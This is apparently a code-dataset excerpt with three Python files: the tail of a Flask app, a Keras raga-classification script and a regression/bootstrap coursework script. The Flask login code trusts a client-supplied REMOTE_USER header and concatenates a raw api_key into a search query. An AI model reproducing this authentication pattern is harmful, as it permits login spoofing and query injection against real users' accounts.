load_account_for_login_manager(userid):\n out = models.Account.pull(userid)\n return out\n\n@app.context_processor\ndef set_current_context():\n \"\"\" Set some template context globals. \"\"\"\n return dict(current_user=current_user, app=app)\n\n@app.before_request\ndef standard_authentication():\n \"\"\"Check remote_user on a per-request basis.\"\"\"\n remote_user = request.headers.get('REMOTE_USER', '')\n if remote_user:\n user = models.Account.pull(remote_user)\n if user:\n login_user(user, remember=False)\n # add a check for provision of api key\n elif 'api_key' in request.values:\n res = models.Account.query(q='api_key:\"' + request.values['api_key'] + '\"')['hits']['hits']\n if len(res) == 1:\n user = models.Account.pull(res[0]['_source']['id'])\n if user:\n login_user(user, remember=False)\n\n\n@app.errorhandler(404)\ndef page_not_found(e):\n return render_template('404.html'), 404\n\n@app.errorhandler(401)\ndef page_not_found(e):\n return render_template('401.html'), 401\n \n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', debug=app.config['DEBUG'], port=app.config['PORT'])\n\n", "sub_path": "portality/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 2617, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "portality.core.app.register_blueprint", "line_number": 26, "usage_type": "call"}, {"api_name": "portality.view.account.blueprint", "line_number": 26, "usage_type": "argument"}, {"api_name": "portality.core.app", "line_number": 26, "usage_type": "name"}, {"api_name": "portality.core.app.register_blueprint", "line_number": 27, "usage_type": "call"}, {"api_name": "portality.view.graph.blueprint", "line_number": 27, "usage_type": "argument"}, {"api_name": "portality.core.app", "line_number": 27, "usage_type": "name"}, {"api_name": "portality.core.app.register_blueprint", "line_number": 28, "usage_type": "call"}, {"api_name": "portality.view.query.blueprint", "line_number": 28, "usage_type": "argument"}, {"api_name": "portality.core.app", "line_number": 28, "usage_type": "name"}, {"api_name": "portality.core.app.register_blueprint", "line_number": 29, "usage_type": "call"}, {"api_name": "portality.view.stream.blueprint", "line_number": 29, "usage_type": "argument"}, {"api_name": "portality.core.app", "line_number": 29, "usage_type": "name"}, {"api_name": "portality.core.app.register_blueprint", "line_number": 30, "usage_type": "call"}, {"api_name": "portality.view.question.blueprint", "line_number": 30, "usage_type": "argument"}, {"api_name": "portality.core.app", "line_number": 30, "usage_type": "name"}, {"api_name": "portality.core.app.register_blueprint", "line_number": 31, "usage_type": "call"}, {"api_name": "portality.view.answer.blueprint", "line_number": 31, "usage_type": "argument"}, {"api_name": "portality.core.app", "line_number": 31, "usage_type": "name"}, {"api_name": "portality.core.app.register_blueprint", "line_number": 32, "usage_type": "call"}, {"api_name": "portality.view.mine.blueprint", "line_number": 32, "usage_type": "argument"}, {"api_name": "portality.core.app", "line_number": 32, "usage_type": "name"}, {"api_name": "portality.core.app.register_blueprint", "line_number": 33, "usage_type": "call"}, {"api_name": "portality.view.leviathan.blueprint", "line_number": 33, "usage_type": "argument"}, {"api_name": "portality.core.app", "line_number": 33, "usage_type": "name"}, {"api_name": "portality.models.Account.pull", "line_number": 38, "usage_type": "call"}, {"api_name": "portality.models.Account", "line_number": 38, "usage_type": "attribute"}, {"api_name": "portality.models", "line_number": 38, "usage_type": "name"}, {"api_name": "portality.core.login_manager.user_loader", "line_number": 36, "usage_type": "attribute"}, {"api_name": "portality.core.login_manager", "line_number": 36, "usage_type": "name"}, {"api_name": "flask.ext.login.current_user", "line_number": 44, "usage_type": "name"}, {"api_name": "portality.core.app", "line_number": 44, "usage_type": "name"}, {"api_name": "portality.core.app.context_processor", "line_number": 41, "usage_type": "attribute"}, {"api_name": "portality.core.app", "line_number": 41, "usage_type": "name"}, {"api_name": "flask.request.headers.get", "line_number": 49, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 49, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 49, "usage_type": "name"}, {"api_name": "portality.models.Account.pull", "line_number": 51, "usage_type": "call"}, {"api_name": "portality.models.Account", "line_number": 51, "usage_type": "attribute"}, {"api_name": "portality.models", "line_number": 51, "usage_type": "name"}, {"api_name": "flask.ext.login.login_user", "line_number": 53, "usage_type": "call"}, {"api_name": "flask.request.values", "line_number": 55, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 55, "usage_type": "name"}, {"api_name": "portality.models.Account.query", "line_number": 56, "usage_type": "call"}, {"api_name": "portality.models.Account", "line_number": 56, "usage_type": "attribute"}, {"api_name": "portality.models", "line_number": 56, "usage_type": "name"}, {"api_name": "flask.request.values", "line_number": 56, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 56, "usage_type": "name"}, {"api_name": "portality.models.Account.pull", "line_number": 58, "usage_type": "call"}, {"api_name": "portality.models.Account", "line_number": 58, "usage_type": "attribute"}, {"api_name": "portality.models", "line_number": 58, "usage_type": "name"}, {"api_name": "flask.ext.login.login_user", "line_number": 60, "usage_type": "call"}, {"api_name": "portality.core.app.before_request", "line_number": 46, "usage_type": "attribute"}, {"api_name": "portality.core.app", "line_number": 46, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 65, "usage_type": "call"}, {"api_name": "portality.core.app.errorhandler", "line_number": 63, "usage_type": "call"}, {"api_name": "portality.core.app", "line_number": 63, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 69, "usage_type": "call"}, {"api_name": "portality.core.app.errorhandler", "line_number": 67, "usage_type": "call"}, {"api_name": "portality.core.app", "line_number": 67, "usage_type": "name"}, {"api_name": "portality.core.app.run", "line_number": 73, "usage_type": "call"}, {"api_name": "portality.core.app", "line_number": 73, "usage_type": "name"}, {"api_name": "portality.core.app.config", "line_number": 73, "usage_type": "attribute"}]} {"seq_id": "105837530", "text": "# 01/05/2020\n# Testing training with Keras API\n\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nimport numpy as np\nimport tensorflow as tf\n\n# random seed for reproducibility\nnp.random.seed(7)\n# print(np.__version__)\n\n# loading the raag dataset\ndataset = np.loadtxt(\"raag_dataset.csv\", delimiter=',')\noutputs = np.loadtxt(\"outputs.csv\", delimiter=',')\n# split into input (X) and output (Y) variables, splitting csv data\n\nX = dataset[:, 0:2686764]\nY = outputs[:, 0:]\nprint(\"break point 1\")\n\n\n# create model, add dense layers one by one specifying activation function\nmodel = Sequential()\nmodel.add(Dense(22, input_dim=2686764, activation='relu'))\nprint(\"break point 2\")\nmodel.add(Dense(15, activation='relu'))\nmodel.add(Dense(20, activation='relu'))\nprint(\"break point 3\")\nmodel.add(Dense(8, activation='relu'))\nmodel.add(Dense(10, activation=\"relu\"))\nmodel.add(Dense(4, activation='sigmoid'))\nprint(\"break point 4\")\n\n# compile the model, adam gradient descent (optimized)\nmodel.compile(loss=\"binary_crossentropy\", optimizer=\"adam\", metrics=[\"accuracy\"])\nprint(\"break point 5\")\n# call the function to fit to the dat (training the network)\nmodel.fit(X, Y, epochs=200, batch_size=10)\nprint(\"break point 6\")\n\n# evaluate the model\nscores = model.evaluate(X, Y)\nprint(\"%s: %0.2f%%\" %(model.metrics_names[1], scores[1]*100))\nprint(\"break point 7\")\n\n# serialize model to JSON\nmodel_json = model.to_json()\nwith open(\"model.json\", \"w\") as json_file:\n json_file.write(model_json)\n\n# serialize weights to HDF5\nmodel.save_weights(\"model.h5\")\nprint(\"Saved model to disk\")\n\n# importing a csv of a clip of Yemen Raag\ntestClip = np.loadtxt(\"C1_fmod.csv\", delimiter=',')\nprint(np.shape(testClip))\nprint(type(testClip))\n\nif testClip.ndim == 1:\n testClip = np.array([testClip])\n print(np.shape(testClip))\n print(type(testClip))\n\n# make class predictions with the model\npredictions = model.predict(testClip)\nprint(predictions)\nprint(np.shape(predictions))\nprint(type(predictions))\n#\n# # summarize the first 5 cases\n# for i in range(5):\n# print('%d ' % (predictions[i]))\n\n# (2686764,) but got array with shape (1,)\n\n\n", "sub_path": "DFT_ANN.py", "file_name": "DFT_ANN.py", "file_ext": "py", "file_size_in_byte": 2129, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "numpy.random.seed", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 10, "usage_type": "attribute"}, {"api_name": "numpy.loadtxt", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 15, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 24, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 25, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 27, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 28, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 30, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 31, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 69, "usage_type": "call"}]} {"seq_id": "282022353", "text": "####################\r\n# Project 1 \r\n# FYS-STK 3155/4155\r\n# Fall 2018 \r\n####################\r\n\r\n\r\n####################\r\n# Franke function - given in exercise\r\n####################\r\n\r\n# Import necessary packages\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib import cm\r\nfrom matplotlib.ticker import LinearLocator, FormatStrFormatter\r\nimport numpy as np\r\nfrom random import random, seed\r\nfrom sklearn.preprocessing import PolynomialFeatures\r\nfrom sklearn.linear_model import LinearRegression, Ridge, Lasso\r\nfrom sklearn.metrics import mean_squared_error, r2_score\r\nfrom time import time\r\nimport matplotlib.mlab as mlab\r\nfrom imageio import imread\r\n\"\"\"\r\n# Load the terrain\r\n#terrain1 = imread('terrainone.tif')\r\n#x, y = imread('terrainone.tif')\r\nterrain1 = imread('terrainone.tif')\r\n[n,m] = terrain1.shape\r\n\r\n ## Find some random patches within the dataset and perform a fit\r\n\r\npatch_size_row = 100\r\npatch_size_col = 50\r\n\r\n # Define their axes\r\nrows = np.linspace(0,1,patch_size_row)\r\ncols = np.linspace(0,1,patch_size_col)\r\n\r\n[C,R] = np.meshgrid(cols,rows)\r\n\r\nx = C.reshape(-1,1)\r\ny = R.reshape(-1,1)\r\n\r\nprint(np.shape(x), np.shape(y))\r\n\r\nnum_data = patch_size_row*patch_size_col\r\n\r\n # Find the start indices of each patch\r\n\r\nnum_patches = 5\r\n\r\nnp.random.seed(4155)\r\n\r\nrow_starts = np.random.randint(0,n-patch_size_row,num_patches)\r\ncol_starts = np.random.randint(0,m-patch_size_col,num_patches)\r\n# Show the terrain\r\nprint(np.shape(terrain1))\r\n\"\"\"\r\n\"\"\"\r\nplt.figure()\r\nplt.title('Terrain over Norway 1')\r\nplt.imshow(terrain1, cmap='gray')\r\nplt.xlabel('X')\r\nplt.ylabel('Y')\r\nplt.show()\r\n\"\"\"\r\n\r\ndef FrankeFunction(x,y):\r\n term1 = 0.75*np.exp(-(0.25*(9*x-2)**2) - 0.25*((9*y-2)**2))\r\n term2 = 0.75*np.exp(-((9*x+1)**2)/49.0 - 0.1*(9*y+1))\r\n term3 = 0.5*np.exp(-(9*x-7)**2/4.0 - 0.25*((9*y-3)**2))\r\n term4 = -0.2*np.exp(-(9*x-4)**2 - (9*y-7)**2)\r\n return term1 + term2 + term3 + term4\r\n\r\n \r\n\r\n# Make the dataset\r\nn = 100\t\t\t\t\t# number of datapoints\r\nx = np.random.uniform(0.0,1.0, n) # create a random number for x-values in dataset\r\ny = np.random.uniform(0.0,1.0, n) # create a random number for y-values in dataset with noise\r\n#print(np.shape(x), np.shape(y))\r\ndef polynomialfunction(x, y, type):\r\n if type==1: \r\n X = np.c_[np.ones((n,1)) , x, y]\r\n\r\n elif type==2:\r\n X = np.c_[np.ones((n,1)) , x, y, x**2, x*y, y**2]\r\n\r\n elif type==3:\r\n X = np.c_[np.ones((n,1)) , x, y, x**2, x*y, y**2, \\\r\n x**3, x**2*y, x*y**2, y**3]\r\n\r\n elif type==4:\r\n X = np.c_[np.ones((n,1)) , x, y, x**2, x*y, y**2, \\\r\n x**3, x**2*y, x*y**2, y**3, \\\r\n x**4, x**3*y, x**2*y**2, x*y**3,y**4]\r\n\r\n elif type==5:\r\n X = np.c_[np.ones((n,1)) , x, y, x**2, x*y, y**2, \\\r\n x**3, x**2*y, x*y**2, y**3, \\\r\n x**4, x**3*y, x**2*y**2, x*y**3,y**4, \\\r\n x**5, x**4*y, x**3*y**2, x**2*y**3,x*y**4, y**5]\r\n else:\r\n print('Degree out of range!')\r\n\r\n return X\r\n\r\n#X = polynomialfunction(x,y,type=5)# Give your wish for degree as type\r\n\r\nz = FrankeFunction(x, y) + 0.9*np.random.randn(1) # z with noise\r\n\r\ndef OLS(X, z):\r\n beta = np.linalg.pinv(X.T.dot(X)).dot(X.T).dot(z) \r\n zpredict = X.dot(beta) \r\n return quality(z,zpredict)\r\n\r\n#z, zpredict = OLS(X,z)\r\n# The mean squared error \r\n\r\ndef quality(z,zpredict):\r\n \r\n\r\n mse = mean_squared_error(z,zpredict)\r\n #print('Mean square error: %.5f' % mse)\r\n #print(\"Mean squared error scikitlearn: %.5f\" % mean_squared_error(z, zpredict))\r\n \r\n # Explained variance score: 1 is perfect prediction \r\n R2 = 1- (np.sum((z-zpredict)**2))/(np.sum((z-np.mean(z))**2))\r\n #print('R2 score: %.5f' % R2)\r\n #print('R2 score scitkitlearn: %.5f' % r2_score(z, zpredict))\r\n\r\n #Some other variances:\r\n #var=1.0/z.shape[0] *np.sum((z - np.mean(z))**2)\r\n #betavar=1.0/z.shape[0] *np.sum((beta - np.mean(beta))**2)\r\n #print('Variance: %.5f'% var)\r\n #print('Variance of beta', betavar)\r\n return mse, R2\r\n\r\n# Ridge and Lasso:\r\ndef ridge(x, y, z, X, lmb):\r\n #np.random.seed(4155)\r\n\r\n n_samples = 100\r\n\r\n x_ = x-np.mean(x)\r\n y_ = y-np.mean(y)\r\n z_ = z-np.mean(z) #Needed?\r\n \r\n X_ = np.delete(X,0,1)\r\n #print(np.shape(X_))\r\n \"\"\"\r\n X_ = np.c_[x, y, x**2, x*y, y**2, \\\r\n\r\n x**3, x**2*y, x*y**2, y**3, \\\r\n\r\n x**4, x**3*y, x**2*y**2, x*y**3,y**4, \\\r\n\r\n x**5, x**4*y, x**3*y**2, x**2*y**3,x*y**4, y**5] # Check this! What is this?\r\n \"\"\"\r\n \r\n #lmb_values = [1e-1]#, 1e-3, 1e-2, 10, 1e2, 1e4]\r\n #num_values = len(lmb_values)\r\n\r\n ## Ridge-regression of centered and not centered data\r\n #beta_ridge = np.zeros((X.shape[1],num_values))\r\n #beta_ridge_centered = np.zeros((X.shape[1],num_values))\r\n\r\n IX = np.eye(X.shape[1])\r\n IX_ = np.eye(X_.shape[1])\r\n #print(np.shape(z),np.shape(X_))\r\n\r\n beta_ridge = (np.linalg.pinv( X.T @ X + lmb*IX) @ X.T @ z).flatten() #maybe change to pinv\r\n beta_ridge_centered = (np.linalg.pinv( X_.T @ X_ + lmb*IX_) @ X_.T @ z_).flatten() #pinv?\r\n\r\n\r\n pred_ridge = X @ beta_ridge # Shape: 100x6 from 6 lambda-values\r\n #print(np.shape(pred_ridge))\r\n pred_ridge_centered = X_ @ beta_ridge_centered + z_\r\n \r\n ### R2-score of the results\r\n #print('lambda = %g'%lmb)\r\n #print('r2 for scikit: %g'%r2_score(z,pred_ridge_scikit[:,i]))\r\n #print('r2 for own code, not centered: %g'%r2_score(z,pred_ridge))\r\n #print('r2 for own, centered: %g\\n'%r2_score(z,pred_ridge_centered))\r\n \r\n return quality(z, pred_ridge)\r\n\r\n\r\n#Lasso:\r\ndef lasso(X,z, alpha):\r\n lasso=Lasso(alpha)\r\n lasso.fit(X,z)\r\n predl=lasso.predict(X)\r\n #print(\"Lasso Coefficient: \", lasso.coef_)\r\n #print(\"Lasso Intercept: \", lasso.intercept_)\r\n #print(\"R2 score:\", r2_score(z,predl))\r\n return quality(z, predl)\r\n\r\n\r\n\r\n\"\"\"\r\nplt.scatter(X,z,color='green', label=\"Training Data\")\r\nplt.plot(X, predl, color='blue', label=\"Lasso\")\r\nplt.legend()\r\nplt.show()\r\n\"\"\"\r\n\"\"\"\r\nprint(np.shape(x_train))\r\npoly5 = PolynomialFeatures(5)\r\n#X_train = poly5.fit_transform()\r\n\r\nX_train = np.c_[x_train,y_train]\r\nX_test = np.c_[x_test, y_test]\r\nlasso=Lasso(alpha=0.1)\r\nlasso.fit(X_train,z_train)\r\npredl=lasso.predict(z_test)\r\nprint(\"Lasso Coefficient: \", lasso.coef_)\r\nprint(\"Lasso Intercept: \", lasso.intercept_)\r\n\"\"\"\r\n\r\n\r\n# Plotting:\r\n# Importing necessary packages for plotting\r\n\r\n\r\ndef plotFrankeFunction(x, y, z, type):\r\n #x = np.sort(x)\r\n #y = np.sort(y)\r\n x, y = np.meshgrid(x, y)\r\n #z = z.reshape(-1,1)\r\n print(x.shape)\r\n print(z.shape)\r\n z = FrankeFunction(x,y)\r\n #n,m = x.shape \r\n #z = z.reshape(n,m)\r\n\r\n fig = plt.figure()\r\n ax = fig.gca(projection='3d')\r\n surf = ax.plot_surface(x, y, z, cmap=cm.coolwarm,\r\n linewidth=0, antialiased=False)\r\n ax.set_xlabel('x')\r\n ax.set_ylabel('y')\r\n ax.set_zlabel('z')\r\n if type==1:\r\n plt.title('Franke function with actual z')\r\n elif type==2:\r\n plt.title('Franke function with our prediction of z')\r\n # Add a color bar which maps values to colors.\r\n fig.colorbar(surf, shrink=0.5, aspect=5)\r\n plt.show()\r\n\r\n # Customize the z axis.\r\n #ax.set_zlim(-0.10, 1.40)\r\n #ax.zaxis.set_major_locator(LinearLocator(10))\r\n #ax.zaxis.set_major_formatter(FormatStrFormatter('%.02f')) \r\n return surf\r\n\r\n# Plotting Franke function with actual z:\r\n#plotFrankeFunction(x, y, z, type=1)\r\n\r\n# Plotting Franke function with our prediction of z:\r\n#plotFrankeFunction(x, y, zpredict, type=2)\r\n\"\"\"\r\n# Plotting Ridge:\r\ndef plotRidge(x,y):\r\n # Sorting\r\n sort_ind = np.argsort(x[:,0])\r\n\r\n x_plot = x[sort_ind,0]\r\n x_centered_plot = x_[sort_ind,0]\r\n\r\n pred_ls_plot = pred_ls[sort_ind,0]\r\n pred_ridge_plot = pred_ridge[sort_ind,:]\r\n pred_ridge_centered_plot = pred_ridge_centered[sort_ind,:]\r\n\r\n # Plott not centered\r\n plt.plot(x_plot,pred_ls_plot,label='ls')\r\n\r\n for i in range(num_values):\r\n plt.plot(x_plot,pred_ridge_plot[:,i],label='ridge, lmb=%g'%lmb_values[i])\r\n\r\n plt.plot(x,y,'ro')\r\n\r\n plt.title('linear regression on un-centered data')\r\n plt.legend()\r\n\r\n # Plott centered\r\n plt.figure()\r\n\r\n for i in range(num_values):\r\n plt.plot(x_centered_plot,pred_ridge_centered_plot[:,i],label='ridge, lmb=%g'%lmb_values[i])\r\n\r\n plt.plot(x_,y,'ro')\r\n\r\n plt.title('linear regression on centered data')\r\n plt.legend()\r\n\r\n\r\n # 2.\r\n\r\n pred_ridge_scikit = np.zeros((n_samples,num_values))\r\n for i,lmb in enumerate(lmb_values):\r\n pred_ridge_scikit[:,i] = (Ridge(alpha=lmb,fit_intercept=False).fit(X,y).predict(X)).flatten() # fit_intercept=False fordi bias er allerede i X\r\n\r\n plt.figure()\r\n\r\n plt.plot(x_plot,pred_ls_plot,label='ls')\r\n\r\n for i in range(num_values):\r\n plt.plot(x_plot,pred_ridge_scikit[sort_ind,i],label='scikit-ridge, lmb=%g'%lmb_values[i])\r\n\r\n plt.plot(x,y,'ro')\r\n plt.legend()\r\n plt.title('linear regression using scikit')\r\n\r\n plt.show()\r\n return \r\n\r\nplotRidge(x, y)\r\n\"\"\"\r\n\r\n\r\ndef bootstrap(data, percent):\r\n size = percent*len(data)\r\n train = np.random.choice(len(data),int(size))\r\n test = list(set(range(len(data))) - set(train))\r\n return train, test\r\n\r\niterations = 100\r\n\r\nmse_OLS = np.zeros((5,iterations))\r\nmse_Ridge = np.zeros((5,iterations))\r\nmse_Lasso = np.zeros((5,iterations))\r\nr2score_OLS = np.zeros((5,iterations))\r\nr2score_Ridge = np.zeros((5,iterations))\r\nr2score_Lasso = np.zeros((5,iterations))\r\n\r\n#mse_OLS[4][10] = 5\r\n#print(mse_OLS)\r\nlmb = 0.01\r\nalpha = 0.0001\r\n\r\nfor i in range(iterations):\r\n train_indices, test_indices = bootstrap(z, 0.7)\r\n \r\n for j in range(5):\r\n X = polynomialfunction(x,y,type=(j+1))\r\n X_train = X[train_indices]; #print(X_train.shape)\r\n X_test = X[test_indices]; #print(X_test.shape)\r\n z_train = z[train_indices];# print(z_train.shape)\r\n z_test = z[test_indices]; #print(z_test.shape)\r\n\r\n mse_OLS[j][i], r2score_OLS[j][i] = OLS(X_train,z_train)\r\n\r\n mse_Ridge[j][i], r2score_Ridge[j][i] = ridge(x,y,z_train,X_train,lmb)\r\n\r\n mse_Lasso[j][i], r2score_Lasso[j][i] = lasso(X_train,z_train,alpha)\r\n\r\n\"\"\"\r\ntrain_indices, test_indices = bootstrap(z, 0.7)\r\nX = polynomialfunction(x,y,type=5)\r\n\r\n\r\n\r\nX_train = X[train_indices]; #print(X_train.shape)\r\nX_test = X[test_indices]; #print(X_test.shape)\r\nz_train = z[train_indices];# print(z_train.shape)\r\nz_test = z[test_indices]; #print(z_test.shape)\r\nmse_Ridge[0][0], r2score_Ridge[0][0] = ridge(x,y,z_train,X_train)\r\nmse_Lasso[0][0], r2score_Lasso[0][0] = lasso(X_train,z_train,alpha)\r\nmse_OLS[0][0], r2score_OLS[0][0] = OLS(X_train,z_train)\r\nprint(z.shape[0])\r\nprint(mse_Ridge[0][0])\r\nprint(mse_Lasso[0][0])\r\nprint(mse_OLS[0][0])\r\n\"\"\"\r\nmse_OLS_average1 = np.mean(mse_OLS[0])\r\nmse_OLS_average2 = np.mean(mse_OLS[1]) \r\nmse_OLS_average3 = np.mean(mse_OLS[2]) \r\nmse_OLS_average4 = np.mean(mse_OLS[3]) \r\nmse_OLS_average5 = np.mean(mse_OLS[4])\r\n\r\nmse_Ridge_average1 = np.mean(mse_Ridge[0])\r\nmse_Ridge_average2 = np.mean(mse_Ridge[1])\r\nmse_Ridge_average3 = np.mean(mse_Ridge[2])\r\nmse_Ridge_average4 = np.mean(mse_Ridge[3])\r\nmse_Ridge_average5 = np.mean(mse_Ridge[4])\r\n\r\nmse_Lasso_average1 = np.mean(mse_Lasso[0])\r\nmse_Lasso_average2 = np.mean(mse_Lasso[1])\r\nmse_Lasso_average3 = np.mean(mse_Lasso[2])\r\nmse_Lasso_average4 = np.mean(mse_Lasso[3])\r\nmse_Lasso_average5 = np.mean(mse_Lasso[4])\r\n\r\n\r\n\r\n\r\nr2score_OLS_average1 = np.mean(r2score_OLS[0])\r\nr2score_OLS_average2 = np.mean(r2score_OLS[1])\r\nr2score_OLS_average3 = np.mean(r2score_OLS[2])\r\nr2score_OLS_average4 = np.mean(r2score_OLS[3])\r\nr2score_OLS_average5 = np.mean(r2score_OLS[4])\r\n\r\nr2score_Ridge_average1 = np.mean(r2score_Ridge[0])\r\nr2score_Ridge_average2 = np.mean(r2score_Ridge[1])\r\nr2score_Ridge_average3 = np.mean(r2score_Ridge[2])\r\nr2score_Ridge_average4 = np.mean(r2score_Ridge[3])\r\nr2score_Ridge_average5 = np.mean(r2score_Ridge[4])\r\n\r\nr2score_Lasso_average1 = np.mean(r2score_Lasso[0])\r\nr2score_Lasso_average2 = np.mean(r2score_Lasso[1])\r\nr2score_Lasso_average3 = np.mean(r2score_Lasso[2])\r\nr2score_Lasso_average4 = np.mean(r2score_Lasso[3])\r\nr2score_Lasso_average5 = np.mean(r2score_Lasso[4])\r\n\r\n\r\n\r\n\r\nprint(\"Lambda = \", lmb, \"\\n\")\r\nprint(\"alpha = \", alpha, \"\\n\")\r\n\r\n\r\nprint(\"The average mean sqared error for the different polynomial powers: \\n\")\r\nprint(\"OLS: \")\r\nprint(\"1. order: \", mse_OLS_average1, \"2. order: \", mse_OLS_average2, \"3. order: \", mse_OLS_average3, \"4. order: \", mse_OLS_average4, \"5. order: \", mse_OLS_average5, \"\\n\")\r\nprint(\"Ridge: \")\r\nprint(\"1. order: \", mse_Ridge_average1, \"2. order: \", mse_Ridge_average2, \"3. order: \", mse_Ridge_average3, \"4. order: \", mse_Ridge_average4, \"5. order: \", mse_Ridge_average5, \"\\n\")\r\nprint(\"Lasso: \")\r\nprint(\"1. order: \", mse_Lasso_average1, \"2. order: \", mse_Lasso_average2, \"3. order: \", mse_Lasso_average3, \"4. order: \", mse_Lasso_average4, \"5. order: \", mse_Lasso_average5, \"\\n\")\r\n\r\nprint(\"\")\r\nprint(\"----------------------------------------------------------------------------------------------------------\")\r\nprint(\"\")\r\n\r\nprint(\"The average R2 score for the different polynomial powers: \\n\")\r\nprint(\"OLS: \")\r\nprint(\"1. order: \", r2score_OLS_average1, \"2. order: \", r2score_OLS_average2, \"3. order: \", r2score_OLS_average3, \"4. order: \", r2score_OLS_average4, \"5. order: \", r2score_OLS_average5, \"\\n\")\r\nprint(\"Ridge: \")\r\nprint(\"1. order: \", r2score_Ridge_average1, \"2. order: \", r2score_Ridge_average2, \"3. order: \", r2score_Ridge_average3, \"4. order: \", r2score_Ridge_average4, \"5. order: \", r2score_Ridge_average5, \"\\n\")\r\nprint(\"Lasso: \")\r\nprint(\"1. order: \", r2score_Lasso_average1, \"2. order: \", r2score_Lasso_average2, \"3. order: \", r2score_Lasso_average3, \"4. order: \", r2score_Lasso_average4, \"5. order: \", r2score_Lasso_average5, \"\\n\")\r\n\r\n\r\n\r\n\r\nvar=1.0/z.shape[0] *np.sum((z - np.mean(z))**2)\r\n#print(var)\r\n\r\n", "sub_path": "Projects/Project_1/testStoreData.py", "file_name": "testStoreData.py", "file_ext": "py", "file_size_in_byte": 13940, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "numpy.exp", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 81, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 82, "usage_type": "attribute"}, {"api_name": "numpy.c_", "line_number": 86, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.c_", "line_number": 89, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.c_", "line_number": 92, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.c_", "line_number": 96, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.c_", "line_number": 101, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 112, "usage_type": "attribute"}, {"api_name": "numpy.linalg.pinv", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 115, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 170, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.linalg.pinv", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 174, "usage_type": "attribute"}, {"api_name": "numpy.linalg.pinv", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 175, "usage_type": "attribute"}, {"api_name": "sklearn.linear_model.Lasso", "line_number": 193, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 231, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 239, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 239, "usage_type": "name"}, {"api_name": "matplotlib.cm.coolwarm", "line_number": 241, "usage_type": "attribute"}, {"api_name": "matplotlib.cm", "line_number": 241, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 247, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 247, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 249, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 249, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 252, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 252, "usage_type": "name"}, {"api_name": "numpy.random.choice", "line_number": 327, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 327, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 333, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 334, 